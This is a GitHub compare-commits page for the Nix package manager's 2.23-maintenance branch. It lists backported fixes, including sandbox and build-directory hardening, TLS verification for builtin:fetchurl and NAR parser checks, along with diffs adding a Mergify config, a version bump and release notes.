Compare commits

...

94 Commits

Author SHA1 Message Date
Valentin Gagarin
f50d718691 Merge pull request #11782 from NixOS/mergify/bp/2.23-maintenance/pr-11775
doc/rl-2.19: add entry for always-allow-substitutes option (backport #11775)
2024-11-01 13:09:43 +01:00
Bjørn Forsman
bde3af5cf5 doc/rl-2.19: add entry for always-allow-substitutes option (#11775)
* doc/rl-2.19: add entry for always-allow-substitutes option

Fixes https://github.com/NixOS/nix/issues/9427.

(cherry picked from commit 020dbac0e0)
2024-11-01 10:57:28 +00:00
Eelco Dolstra
bb4442725e Bump version 2024-10-31 12:19:58 +01:00
Eelco Dolstra
d01638028a Merge remote-tracking branch 'nix-ghsa-wf4c-57rh-9pjg/advisory-fix-1-2.23' into 2.23-maintenance 2024-10-30 21:44:13 +01:00
Robert Hensing
67b5c70043 local-derivation-goal: Move builder preparation to non-builtin code path 2024-10-22 20:06:01 +02:00
Robert Hensing
53b4bdcb8b local-derivation-goal: Refactor
This works because the `builder` and `args` variables are only used
in the non-builtin code path.

Co-Authored-By: Théophane Hufschmitt <theophane.hufschmitt@tweag.io>
2024-10-22 20:06:01 +02:00
Robert Hensing
c43954ffac local-derivation-goal: Print sandbox error detail on darwin
Co-Authored-By: Théophane Hufschmitt <theophane.hufschmitt@tweag.io>
2024-10-22 20:06:01 +02:00
Puck Meerburg
05994033d5 fix: Run all derivation builders inside the sandbox on macOS 2024-10-22 20:05:47 +02:00
Robert Hensing
1cc02ff16f Merge pull request #11648 from NixOS/mergify/bp/2.23-maintenance/pr-11610
fix passing CA files into builtins:fetchurl sandbox (backport #11610)
2024-10-13 12:44:26 +02:00
Jörg Thalheim
efdeca36cf tests/nixos/fetchurl: drop unused variables
(cherry picked from commit 410853ddcf)
2024-10-07 12:44:28 +00:00
Puck Meerburg
46015afe32 fix passing CA files into builtins:fetchurl sandbox
This patch has been manually adapted from
14dc84ed03

Tested with:

$ NIX_SSL_CERT_FILE=$(nix-build '<nixpkgs>' -A cacert)/etc/ssl/certs/ca-bundle.crt nix-build --store $(mktemp -d) -E 'import <nix/fetchurl.nix> { url = https://google.com; }'
Finished at 16:57:50 after 1s
warning: found empty hash, assuming 'sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='
this derivation will be built:
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
  /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
google.com> building '/nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv'
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
google.com> error:
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
google.com>        … writing file '/nix/store/0zynn4n8yx59bczy1mgh1lq2rnprvvrc-google.com'
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
google.com>
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
google.com>        error: unable to download 'https://google.com': Problem with the SSL CA cert (path? access rights?) (77) error setting certificate file: /nix/store/nlgbippbbgn38hynjkp1ghiybcq1dqhx-nss-cacert-3.101.1/etc/ssl/certs/ca-bundle.crt
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
error: builder for '/nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv' failed with exit code 1

Now returns:

nix-env % NIX_SSL_CERT_FILE=$(nix-build '<nixpkgs>' -A cacert)/etc/ssl/certs/ca-bundle.crt nix-build --store $(mktemp -d) -E 'import <nix/fetchurl.nix> { url = https://google.com; }'
Finished at 17:05:48 after 0s
warning: found empty hash, assuming 'sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='
this derivation will be built:
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
  /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
google.com> building '/nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv'
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
nix-output-monitor error: DerivationReadError /nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv: openFile: does not exist (No such file or directory)
error: hash mismatch in fixed-output derivation '/nix/store/4qljhy0jj2b0abjzpsbyarpia1bqylwc-google.com.drv':
         specified: sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

(cherry picked from commit c1ecf0bee9)
2024-10-07 12:44:27 +00:00
Eelco Dolstra
278f26a8fc Merge pull request #11591 from NixOS/mergify/bp/2.23-maintenance/pr-11585
builtin:fetchurl: Enable TLS verification (backport #11585)
2024-09-26 01:38:14 +02:00
Eelco Dolstra
6efc7274c4 Resolve conflict 2024-09-26 00:20:49 +02:00
Eelco Dolstra
2e82f9eedf Typo
(cherry picked from commit ef8987955b)
2024-09-26 00:20:48 +02:00
Eelco Dolstra
2915f05f44 Add release note
(cherry picked from commit 7b39cd631e)
2024-09-25 21:54:47 +00:00
Eelco Dolstra
579a4ae228 Add a test for builtin:fetchurl cert verification
(cherry picked from commit f2f47fa725)

# Conflicts:
#	tests/nixos/default.nix
2024-09-25 21:54:46 +00:00
Eelco Dolstra
a712f0fe99 builtin:fetchurl: Enable TLS verification
This is better for privacy and to avoid leaking netrc credentials in a
MITM attack, but also the assumption that we check the hash no longer
holds in some cases (in particular for impure derivations).

Partially reverts 5db358d4d7.

(cherry picked from commit c04bc17a5a)
2024-09-25 21:54:46 +00:00
John Ericson
5ffd239adc Merge pull request #11575 from NixOS/mergify/bp/2.23-maintenance/pr-11390
Don't refer to public keys as secret keys in error (backport #11390)
2024-09-23 19:00:08 -04:00
Alyssa Ross
f104a8b928 Don't refer to public keys as secret keys in error
This constructor is used for public keys as well.

(cherry picked from commit 9cc550d652)
2024-09-23 22:03:20 +00:00
Robert Hensing
e873d00bda Merge pull request #11463 from NixOS/mergify/bp/2.23-maintenance/pr-11321
replace backport github action with mergify (backport #11321)
2024-09-16 12:41:26 +02:00
Robert Hensing
337f12800b Merge pull request #11483 from NixOS/mergify/bp/2.23-maintenance/pr-11473
Fix making the build directory kept by `keep-failed` readable (backport #11473)
2024-09-16 12:39:30 +02:00
Artturin
91a13171d3 Fix making the build directory kept by keep-failed readable
Caused by 1d3696f0fb

Without this fix the kept build directory is readable only by root

```
$ sudo ls -ld /comp-temp/nix-build-openssh-static-x86_64-unknown-linux-musl-9.8p1.drv-5
drwx------ root root 60 B Wed Sep 11 00:09:48 2024  /comp-temp/nix-build-openssh-static-x86_64-unknown-linux-musl-9.8p1.drv-5/

$ sudo ls -ld /comp-temp/nix-build-openssh-static-x86_64-unknown-linux-musl-9.8p1.drv-5/build
drwxr-xr-x nixbld1 nixbld 80 B Wed Sep 11 00:09:58 2024  /comp-temp/nix-build-openssh-static-x86_64-unknown-linux-musl-9.8p1.drv-5/build/
```

(cherry picked from commit ebebe626ff)
2024-09-11 12:55:16 +00:00
Eelco Dolstra
3de8fbaa4b Merge pull request #11420 from NixOS/mergify/bp/2.23-maintenance/pr-10919
install-darwin: fix _nixbld uids for macOS sequoia (backport #10919)
2024-09-10 21:38:23 +02:00
Eelco Dolstra
45df48b410 Merge commit from fork
Backport NAR tests, fix duplicate name check
2024-09-10 12:42:55 +02:00
Eelco Dolstra
a0df929575 Fix test 2024-09-10 12:22:31 +02:00
Eelco Dolstra
78eb845950 Improve use-case-hack description slightly
(cherry picked from commit 5ca2f58798)
2024-09-10 10:01:39 +02:00
Eelco Dolstra
8ce0c82268 Typo
(cherry picked from commit 4cfa59fdb3)
2024-09-10 10:01:39 +02:00
Eelco Dolstra
b88d78f98d Test that deserializing regular files / symlinks is exclusive
(cherry picked from commit 52ba3cc5ea)
2024-09-10 10:01:39 +02:00
Eelco Dolstra
fd4f995963 Fix test on macOS
(cherry picked from commit 21dcbd7e83)
2024-09-10 10:00:58 +02:00
Eelco Dolstra
2a25c1d9b4 Test that deserializing NARs with names with equal Unicode normal forms fails on macOS
The test is based on the one by @puckipedia but with the file names
swapped to make them sorted.

(cherry picked from commit 7a765a6aaf)
2024-09-10 10:00:58 +02:00
Eelco Dolstra
b51c0915ee Detect NAR directory entries that collide with another path after case-hacking
The test was made by @puckipedia.

(cherry picked from commit 3557587381)
2024-09-10 09:58:20 +02:00
Eelco Dolstra
3ab521f8e0 More tests
(cherry picked from commit 77c090cdbd)
2024-09-10 09:58:05 +02:00
Eelco Dolstra
7358d217cf Test that nix-store --restore fails if the output already exists
This restores the behaviour from before the std::filesystem
refactorings.

(cherry picked from commit da1ad28912)
2024-09-10 09:57:50 +02:00
Eelco Dolstra
f9b3defe7f Add test case for NARs with duplicate directory entries
This test was made by @puckipedia.

(cherry picked from commit 83d5b32803)
2024-09-10 09:57:05 +02:00
Eelco Dolstra
49f21a860f NAR parser: Fix check for duplicate / incorrectly sorted entries
"prevName" was always empty because it was declared in the wrong scope.

(cherry picked from commit 495d32e1b8)
2024-09-10 09:56:51 +02:00
Jörg Thalheim
0c7cdde6e3 replace backport github action with mergify
The current backport action cannot automerge because
the github action bot does not trigger github CI actions.
Mergify instead does not have this limitation and can also
use a merge queue.

On top we have now a declarative configuration to allow
contributers to add new tests to required without having access
to the github org.

An example pull request and backport can be seen here:

https://github.com/Mic92/nix-1/pull/4

and here:

https://github.com/Mic92/nix-1/pull/5

To complete the setup the mergify app must be enabled for this repository.
It's already installed in the nixos organization for nixos-hardware and
other repositories.

(cherry picked from commit 80f20fa4cb)
2024-09-09 16:38:45 +00:00
Robert Hensing
e786a701a8 installerScriptForGHA: aarch64-darwin
Backport of df3e92ff96

https://github.com/NixOS/nix/pull/11009

GitHub Actions seems to have magically switched architectures
without changing their identifiers.
See 2813ee66cb/README.md (available-images)
Maybe they have more complete documentation elsewhere, but it
seems to be incapable of selecting a runner based on architecture.
2024-09-09 17:37:44 +02:00
Emily
4e5a997428 install-darwin: increment base UID by 1 (#15)
(cherry picked from commit 11cf29b15c)
2024-09-03 23:58:14 +00:00
Travis A. Everett
3726460c30 install-darwin: move nixbld gid to match first UID
(cherry picked from commit 75567423fb)
2024-09-03 23:58:14 +00:00
Travis A. Everett
d5dc377973 install-darwin: fix _nixbld uids for macOS sequoia
Starting in macOS 15 Sequoia, macOS daemon UIDs are encroaching on our
default UIDs of 301-332. This commit relocates our range up to avoid
clashing with the current UIDs of 301-304 and buy us a little time
while still leaving headroom for people installing more than 32 users.

(cherry picked from commit df36ff0d1e)
2024-09-03 23:58:13 +00:00
Robert Hensing
700d1355d3 Merge pull request #11333 from NixOS/backport-11329-to-2.23-maintenance
[Backport 2.23-maintenance] fix: check to see if there are any lines before
2024-08-19 16:27:24 +02:00
Tom Bereknyei
7cca0f3794 fix: check to see if there are any lines before
(cherry picked from commit 59db8fd62b)
2024-08-19 13:40:35 +00:00
tomberek
d02b2eb187 Merge pull request #11318 from NixOS/backport-11270-to-2.23-maintenance
[Backport 2.23-maintenance] libstore: fix port binding in __darwinAllowLocalNetworking sandbox
2024-08-17 02:56:20 -04:00
Andrew Marshall
8f439a2c3c libstore: fix port binding in __darwinAllowLocalNetworking sandbox
In d60c3f7f7c, this was changed to close a
hole in the sandbox. Unfortunately, this was too restrictive such that it
made local port binding fail, thus making derivations that needed
`__darwinAllowLocalNetworking` gain nearly nothing, and thus largely
fail (as the primary use for it is to enable port binding).

This unfortunately does mean that a sandboxed build process can, in
coordination with an actor outside the sandbox, escape the sandbox by
binding a port and connecting to it externally to send data. I do not
see a way around this with my experimentation and understanding of the
(quite undocumented) macOS sandbox profile API. Notably it seems not
possible to use the sandbox to do any of:

- Restrict the remote IP of inbound network requests
- Restrict the address being bound to

As such, the `(local ip "*:*")` here appears to be functionally no
different than `(local ip "localhost:*")` (however it *should* be
different than removing the filter entirely, as that would make it also
apply to non-IP networking). Doing `(allow network-inbound (require-all
(local ip "localhost:*") (remote ip "localhost:*")))` causes listening
to fail.

Note that `network-inbound` implies `network-bind`.

(cherry picked from commit 00f6db36fd)
2024-08-17 03:17:43 +00:00
Eelco Dolstra
9297d927c9 Merge pull request #11214 from NixOS/backport-11171-to-2.23-maintenance
[Backport 2.23-maintenance] Increase download buffer size and improve tarball import logging
2024-07-29 16:03:27 +02:00
Eelco Dolstra
dd0412d1b4 Show when we're unpacking an archive into the Git cache
This happens in parallel with the download (which starts later), so
you only see this message when the download has finished but the
import hasn't.

(cherry picked from commit 01839b525c)
2024-07-29 13:02:58 +00:00
Eelco Dolstra
c3e907af7d Warn if the download buffer is full
(cherry picked from commit f6a9a71b38)
2024-07-29 13:02:58 +00:00
Eelco Dolstra
78046450ab Add 'download-buffer-size' setting
We are piping curl downloads into `unpackTarfileToSink()`, but the
latter is typically slower than the former if you're on a fast
connection. So the download could appear unnecessarily slow. (There is
even a risk that if the Git import is *really* slow for whatever
reason, the TCP connection could time out.)

So let's make the download buffer bigger by default - 64 MiB is big
enough for the Nixpkgs tarball. Perhaps in the future, we could have
an unlimited buffer that spills data to disk beyond a certain
threshold, but that's probably overkill.

(cherry picked from commit 8ffea0a018)
2024-07-29 13:02:57 +00:00
Eelco Dolstra
7698e53b0b Log download durations
(cherry picked from commit caf4e98f0c)
2024-07-29 13:02:57 +00:00
Eelco Dolstra
051f3773db Merge pull request #11194 from NixOS/backport-11086-to-2.23-maintenance
[Backport 2.23-maintenance] Eval cache: fix cache regressions
2024-07-26 18:26:25 +02:00
Lexi Mattick
77e4802ce2 Clean up cache for all commands
(cherry picked from commit 6c4470ec2a)
2024-07-26 15:59:36 +00:00
Lexi Mattick
6925a772d0 Eval cache: fix cache regressions
- Fix eval cache not being persisted in `nix develop` (since #10570)
- Don't attempt to commit cache transaction if there is no active transaction, which will spew errors in edge cases
- Drive-by: trivial typo fix

(cherry picked from commit e764ed31f6)
2024-07-26 15:59:36 +00:00
Eelco Dolstra
707a6c550f Merge pull request #11128 from NixOS/backport-10852-to-2.23-maintenance
[Backport 2.23-maintenance] add call to `checkInterrupt` in a bunch of places
2024-07-17 18:28:29 +02:00
siddhantCodes
af8a1715e1 add call to checkInterrupt in a bunch of places
This brings back the old behaviour. We check for interrupts in places
that may iterate over wide directories.

(cherry picked from commit 8f1a26667e)
2024-07-17 16:02:07 +00:00
Eelco Dolstra
180dfa44b2 Bump version 2024-07-08 12:36:05 +02:00
Robert Hensing
f1deb42176 Merge pull request #11052 from NixOS/backport-11051-to-2.23-maintenance
[Backport 2.23-maintenance] src/nix/prefetch: fix prefetch containing current directory instead o…
2024-07-05 23:00:08 +02:00
Jörg Thalheim
d58592469d Update src/nix/prefetch.cc
Co-authored-by: Eelco Dolstra <edolstra@gmail.com>
(cherry picked from commit 05381c0b30)
2024-07-05 18:33:21 +00:00
Jörg Thalheim
73f3179954 src/nix/prefetch: fix prefetch containing current directory instead of tarball
When --unpack was used the nix would add the current directory to the
nix store instead of the content of unpacked.
The reason for this is that std::distance already consumes the iterator.
To fix this we re-instantiate the directory iterator in case the
directory only contains a single entry.

(cherry picked from commit 8cea1fbd97)
2024-07-05 18:33:21 +00:00
Eelco Dolstra
df877f4522 Bump version 2024-07-05 19:40:34 +02:00
Eelco Dolstra
39735546f1 Merge pull request #11045 from NixOS/backport-11031-to-2.23-maintenance
[Backport 2.23-maintenance] libstore: fix sandboxed builds on macOS
2024-07-05 17:43:30 +02:00
Emily
b74f140866 libstore: fix sandboxed builds on macOS
The recent fix for CVE-2024-38531 broke the sandbox on macOS
completely. As it’s not practical to use `chroot(2)` on
macOS, the build takes place in the main filesystem tree, and the
world‐unreadable wrapper directory prevents the build from accessing
its `$TMPDIR` at all.

The macOS sandbox probably shouldn’t be treated as any kind of a
security boundary in its current state, but this specific vulnerability
wasn’t possible to exploit on macOS anyway, as creating `set{u,g}id`
binaries is blocked by sandbox policy.

Locking down the build sandbox further may be a good idea in future,
but it already has significant compatibility issues. For now, restore
the previous status quo on macOS.

Thanks to @alois31 for helping me come to a better understanding of
the vulnerability.

Fixes: 1d3696f0fb
Closes: #11002
(cherry picked from commit af2e1142b1)
2024-07-05 15:09:04 +00:00
Emily
639c2ffc9d libstore: clean up the build directory properly
After the fix for CVE-2024-38531, this was only removing the nested
build directory, rather than the top‐level temporary directory.

Fixes: 1d3696f0fb
(cherry picked from commit 76e4adfaac)
2024-07-05 15:09:04 +00:00
Eelco Dolstra
a5c2e1ef44 Merge pull request #11042 from NixOS/backport-11020-to-2.23-maintenance
[Backport 2.23-maintenance] Tarball fetcher: Fix fetchToStore() and eval caching
2024-07-05 16:55:08 +02:00
Eelco Dolstra
b91c7cf077 Tarball fetcher: Include revCount/lastModified in the fingerprint
This can influence the evaluation result so they should be included in
the fingerprint.

(cherry picked from commit 5b4102c3b2)
2024-07-05 14:30:29 +00:00
Eelco Dolstra
e38f45b19f nix flake metadata: Show flake fingerprint
This is useful for testing/debugging and maybe for sharing eval caches
(since it tells you what file in ~/.cache/nix/eval-cache-v5 to copy).

(cherry picked from commit 1ff186fc6e)
2024-07-05 14:30:29 +00:00
Eelco Dolstra
241c539f6f Tarball fetcher: Fix fetchToStore() and eval caching
(cherry picked from commit 9d95c228ee)
2024-07-05 14:30:29 +00:00
Robert Hensing
50a71b69b0 Merge pull request #11032 from NixOS/backport-11009-to-2.23-maintenance
[Backport 2.23-maintenance] Installer tests
2024-07-03 20:55:28 +02:00
Robert Hensing
49ae3b4166 installerScriptForGHA: aarch64-darwin
GitHub Actions seems to have magically switched architectures
without changing their identifiers.
See 2813ee66cb/README.md (available-images)
Maybe they have more complete documentation elsewhere, but it
seems to be incapable of selecting a runner based on architecture.

(cherry picked from commit df3e92ff96)
2024-07-03 18:22:47 +00:00
Robert Hensing
6d6ddbf36c Merge pull request #11029 from NixOS/backport-11022-to-2.23-maintenance
[Backport 2.23-maintenance] Use proper struct sockpeercred for SO_PEERCRED for OpenBSD
2024-07-03 19:59:33 +02:00
kn
4e781b4eaa Use proper struct sockpeercred for SO_PEERCRED for OpenBSD
getsockopt(2) documents this;  ucred is wrong ("cr_" member prefix, no pid).

(cherry picked from commit 10ccdb7a41)
2024-07-03 15:57:17 +00:00
John Ericson
5d32212b27 Ident some CPP in nix daemon
Makes it easier for me to read.

(cherry picked from commit a09360400b)
2024-07-03 15:57:17 +00:00
Eelco Dolstra
f80e0832bc Merge pull request #11000 from hercules-ci/backport-10992-to-2.23-maintenance
[Backport 2.23-maintenance] Fix #10947; don't cache disallowed IFD
2024-07-01 14:14:04 +02:00
Robert Hensing
11491a2f1f Fix rl-next/harden-user-sandboxing.md syntax 2024-07-01 12:57:28 +02:00
Robert Hensing
3f4e344572 Format 2024-07-01 11:38:14 +02:00
Robert Hensing
6432c21b01 Fix #10947; don't cache disallowed IFD
(cherry picked from commit fd94b74ee5)
2024-07-01 11:25:08 +02:00
Eelco Dolstra
53a5266220 Bump version 2024-06-27 13:14:43 +02:00
tomberek
20ac781190 Merge pull request from GHSA-q82p-44mg-mgh5
Fix sandbox escape 2.23
2024-06-26 18:49:22 -04:00
Eelco Dolstra
d7f018041e Merge pull request #10950 from NixOS/backport-10943-to-2.23-maintenance
[Backport 2.23-maintenance] Accept response from gitlab api with more than one entry in json
2024-06-24 14:24:53 +02:00
Shogo Takata
fd14479103 accept response from gitlab with more than one entry
(cherry picked from commit 0468061dd2)
2024-06-24 12:24:06 +00:00
Eelco Dolstra
07b9fae361 Fix --no-sandbox
When sandboxing is disabled, we cannot put $TMPDIR underneath an
inaccessible directory.

(cherry picked from commit d54590fdf3)
2024-06-21 17:07:59 +02:00
Eelco Dolstra
71af23ff18 Formatting
(cherry picked from commit 58b7b3fd15)
2024-06-21 17:07:55 +02:00
Eelco Dolstra
0882b75ceb Put the chroot inside a directory that isn't group/world-accessible
Previously, the .chroot directory had permission 750 or 755 (depending
on the uid-range system feature) and was owned by root/nixbld. This
makes it possible for any nixbld user (if uid-range is disabled) or
any user (if uid-range is enabled) to inspect the contents of the
chroot of an active build and maybe interfere with it (e.g. via /tmp
in the chroot, which has 1777 permission).

To prevent this, the root is now a subdirectory of .chroot, which has
permission 700 and is owned by root/root.

(cherry picked from commit ede95b1fc1)
2024-06-21 17:07:51 +02:00
Théophane Hufschmitt
a156c597ff Add a release note for the build-dir hardening
(cherry picked from commit d99c868b04)
2024-06-21 17:07:46 +02:00
Théophane Hufschmitt
930bb21893 Run the builds in a daemon-controled directory
Instead of running the builds under
`$TMPDIR/{unique-build-directory-owned-by-the-build-user}`, run them
under `$TMPDIR/{unique-build-directory-owned-by-the-daemon}/{subdir-owned-by-the-build-user}`
where the build directory is only readable and traversable by the daemon user.

This achieves two things:

1. It prevents builders from making their build directory world-readable
   (or even writeable), which would allow the outside world to interact
   with them.
2. It prevents external processes running as the build user (either
   because that somehow leaked, maybe as a consequence of 1., or because
   `build-users` isn't in use) from gaining access to the build
   directory.

(cherry picked from commit 1d3696f0fb)
2024-06-21 17:07:41 +02:00
Théophane Hufschmitt
022f2db6ef Add a test for the user sandboxing
(cherry picked from commit 717f3eea39)
2024-06-21 17:07:37 +02:00
Robert Hensing
560ca6f54f Merge pull request #10901 from NixOS/backport-10900-to-2.23-maintenance
[Backport 2.23-maintenance] hash: Compare hash algo second for back compat
2024-06-13 12:37:38 +02:00
John Ericson
bbccb2fc43 hash: Compare hash algo second for back compat
Previously (in cfc18a7739), we forgot to
compare the algo at all. This means we keep the same ordering as before
by making the stuff we always have compared take priority.

(cherry picked from commit 25a9894943)
2024-06-12 23:35:49 +00:00
Eelco Dolstra
97253a92c2 Bump version 2024-06-12 15:00:47 +02:00
Robert Hensing
ba36959311 Merge pull request #10885 from NixOS/backport-10883-to-2.23-maintenance
[Backport 2.23-maintenance] fix: remove usage of XDG_RUNTIME_DIR for TMP
2024-06-10 16:47:22 +02:00
Tom Bereknyei
19b179cb08 fix: remove usage of XDG_RUNTIME_DIR for TMP
(cherry picked from commit 1363f51bcb)
2024-06-10 13:40:45 +00:00
Eelco Dolstra
c148aaa998 Merge pull request #10863 from NixOS/backport-10861-to-2.23-maintenance
[Backport 2.23-maintenance] PackageInfo::queryDrvPath(): Don't dereference an empty optional
2024-06-05 17:17:28 +02:00
Eelco Dolstra
61ab873a22 Typo
(cherry picked from commit 3e72ed9743)
2024-06-05 14:48:28 +00:00
Eelco Dolstra
4d788bda18 PackageInfo::queryDrvPath(): Don't dereference an empty optional
Fixes a regression introduced in f923ed6b6a.

https://hydra.nixos.org/build/262267313
(cherry picked from commit d2eeabf3e6)
2024-06-05 14:48:28 +00:00
Eelco Dolstra
bd8ec66189 Mark official release 2024-06-04 16:23:19 +02:00
70 changed files with 909 additions and 263 deletions

View File

@@ -1,32 +0,0 @@
name: Backport
on:
pull_request_target:
types: [closed, labeled]
permissions:
contents: read
jobs:
backport:
name: Backport Pull Request
permissions:
# for zeebe-io/backport-action
contents: write
pull-requests: write
if: github.repository_owner == 'NixOS' && github.event.pull_request.merged == true && (github.event_name != 'labeled' || startsWith('backport', github.event.label.name))
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
# required to find all branches
fetch-depth: 0
- name: Create backport PRs
# should be kept in sync with `version`
uses: zeebe-io/backport-action@v3.0.2
with:
# Config README: https://github.com/zeebe-io/backport-action#backport-action
github_token: ${{ secrets.GITHUB_TOKEN }}
github_workspace: ${{ github.workspace }}
pull_description: |-
Automatic backport to `${target_branch}`, triggered by a label in #${pull_number}.
# should be kept in sync with `uses`
version: v0.0.5

92
.mergify.yml Normal file
View File

@@ -0,0 +1,92 @@
queue_rules:
- name: default
# all required tests need to go here
merge_conditions:
- check-success=installer
- check-success=installer_test (macos-latest)
- check-success=installer_test (ubuntu-latest)
- check-success=tests (macos-latest)
- check-success=tests (ubuntu-latest)
- check-success=vm_tests
merge_method: rebase
batch_size: 5
pull_request_rules:
- name: merge using the merge queue
conditions:
- base=master
- label~=merge-queue|dependencies
actions:
queue: {}
# The rules below will first create backport pull requests and put those in a merge queue.
- name: backport patches to 2.18
conditions:
- label=backport 2.18-maintenance
actions:
backport:
branches:
- 2.18-maintenance
labels:
- merge-queue
- name: backport patches to 2.19
conditions:
- label=backport 2.19-maintenance
actions:
backport:
branches:
- 2.19-maintenance
labels:
- merge-queue
- name: backport patches to 2.20
conditions:
- label=backport 2.20-maintenance
actions:
backport:
branches:
- 2.20-maintenance
labels:
- merge-queue
- name: backport patches to 2.21
conditions:
- label=backport 2.21-maintenance
actions:
backport:
branches:
- 2.21-maintenance
labels:
- merge-queue
- name: backport patches to 2.22
conditions:
- label=backport 2.22-maintenance
actions:
backport:
branches:
- 2.22-maintenance
labels:
- merge-queue
- name: backport patches to 2.23
conditions:
- label=backport 2.23-maintenance
actions:
backport:
branches:
- 2.23-maintenance
labels:
- merge-queue
- name: backport patches to 2.24
conditions:
- label=backport 2.24-maintenance
actions:
backport:
branches:
- "2.24-maintenance"
labels:
- merge-queue

View File

@@ -1 +1 @@
2.23.0
2.23.5

View File

@@ -98,7 +98,7 @@ in
installerScriptForGHA = installScriptFor [
# Native
self.hydraJobs.binaryTarball."x86_64-linux"
self.hydraJobs.binaryTarball."x86_64-darwin"
self.hydraJobs.binaryTarball."aarch64-darwin"
# Cross
self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"

View File

@@ -62,12 +62,16 @@ AC_CHECK_TOOL([AR], [ar])
AC_SYS_LARGEFILE
# Solaris-specific stuff.
# OS-specific stuff.
case "$host_os" in
solaris*)
# Solaris requires -lsocket -lnsl for network functions
LDFLAGS="-lsocket -lnsl $LDFLAGS"
;;
darwin*)
# Need to link to libsandbox.
LDFLAGS="-lsandbox $LDFLAGS"
;;
esac

View File

@@ -0,0 +1,6 @@
---
synopsis: Harden the user sandboxing
significance: significant
---
The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

View File

@@ -0,0 +1,8 @@
---
synopsis: "`<nix/fetchurl.nix>` uses TLS verification"
prs: [11585]
---
Previously `<nix/fetchurl.nix>` did not do TLS verification. This was because the Nix sandbox in the past did not have access to TLS certificates, and Nix checks the hash of the fetched file anyway. However, this can expose authentication data from `netrc` and URLs to man-in-the-middle attackers. In addition, Nix now in some cases (such as when using impure derivations) does *not* check the hash. Therefore we have now enabled TLS verification. This means that downloads by `<nix/fetchurl.nix>` will now fail if you're fetching from a HTTPS server that does not have a valid certificate.
`<nix/fetchurl.nix>` is also known as the builtin derivation builder `builtin:fetchurl`. It's not to be confused with the evaluation-time function `builtins.fetchurl`, which was not affected by this issue.

View File

@@ -75,3 +75,7 @@
(experimental) can be found by any program that follows the [XDG Base Directory Specification](https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html).
- A new command `nix store add` has been added. It replaces `nix store add-file` and `nix store add-path` which are now deprecated.
- A new option [`always-allow-substitutes`](@docroot@/command-ref/conf-file.md#conf-always-allow-substitutes) has been added.
When set to `true`, Nix will always try to substitute a derivation, even if it has the [`allowSubstitutes`]{#adv-attr-allowSubstitutes} attribute set to `false`.

View File

@@ -26,7 +26,7 @@
inherit (nixpkgs) lib;
inherit (lib) fileset;
officialRelease = false;
officialRelease = true;
version = lib.fileContents ./.version + versionSuffix;
versionSuffix =
@@ -169,7 +169,7 @@
nix =
let
officialRelease = false;
officialRelease = true;
versionSuffix =
if officialRelease
then ""
@@ -181,7 +181,7 @@
stdenv
versionSuffix
;
officialRelease = false;
officialRelease = true;
boehmgc = final.boehmgc-nix;
libgit2 = final.libgit2-nix;
libseccomp = final.libseccomp-nix;

View File

@@ -27,6 +27,7 @@
, libseccomp
, libsodium
, man
, darwin
, lowdown
, mdbook
, mdbook-linkcheck
@@ -250,6 +251,7 @@ in {
gtest
rapidcheck
] ++ lib.optional stdenv.isLinux libseccomp
++ lib.optional stdenv.hostPlatform.isDarwin darwin.apple_sdk.libs.sandbox
++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid
# There have been issues building these dependencies
